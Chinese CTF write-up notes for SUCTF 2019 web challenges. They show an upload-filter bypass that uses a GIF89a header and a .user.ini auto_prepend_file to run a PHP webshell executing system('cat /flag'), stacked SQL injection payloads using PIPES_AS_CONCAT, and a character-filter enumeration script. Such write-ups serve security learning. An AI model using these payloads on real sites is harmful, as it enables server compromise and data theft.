官方wp:https://xz.aliyun.com/t/6042
[SUCTF 2019]CheckIn
文件头检测在文件前加GIF89a绕过,上传.user.ini文件添加配置文件允许shell.jpg解析为php文件,auto_prepend_file和auto_append_file也均可以在php.ini中修改
参考文章:user.ini文件构成的PHP后门
.user.ini:
GIF89a
auto_prepend_file=shell.jpg
shell.jpg:
GIF89a
<script language='php'>system('cat /flag');</script>
//这种写法仅限于php5.x
[SUCTF 2019]EasySQL
官方给的 payload 是 1;set sql_mode=PIPES_AS_CONCAT;select 1
拼接一下就是 select 1;set sql_mode=PIPES_AS_CONCAT;select 1||flag from Flag
关于
sql_mode
: 它定义了 MySQL 应支持的 SQL 语法,以及应该在数据上执行何种确认检查,其中的PIPES_AS_CONCAT
将||
视为字符串的连接操作符而不是 "或" 运算符关于
sql_mode
更多可以查看这个链接 : MySQL sql_mode 说明还有就是这个模式下进行查询的时候,使用字母连接会报错,使用数字连接才会查询出数据,因为这个
||
相当于是将select 1
和select flag from flag
的结果拼接在一起
set sql_mode=PIPES_AS_CONCAT测试:
mysql> select 1||username from thinkphp_user;
+-------------+
| 1||username |
+-------------+
| 1 |
+-------------+
1 row in set (0.00 sec)
mysql> set sql_mode=PIPES_AS_CONCAT;select 1||username from thinkphp_user;
Query OK, 0 rows affected, 1 warning (0.00 sec)
+-------------+
| 1||username |
+-------------+
| 1admin |
+-------------+
1 row in set (0.00 sec)
关于非预期解 :
*,1
拼接一下,不难理解 :
select *,1||flag from Flag
等同于
select *,1 from Flag
总结:可以用字符,数字fuzz输入值,可能会有如*,1这种意想不到的结果
[SUCTF 2019]Pythonginx
python代码审计,nginx配置
https://blog.csdn.net/qq_42812036/article/details/104291695
[SUCTF 2019]EasyWeb
正则匹配遍历:
<?php
for($i=32;$i<127;$i++){
$hhh=chr($i);
if (!preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh)) {
echo $hhh;
}
}
?>
//!#$%()*+-/:;<>?@\]^{}
全文参考:
https://blog.csdn.net/qq_39563369/article/details/103285011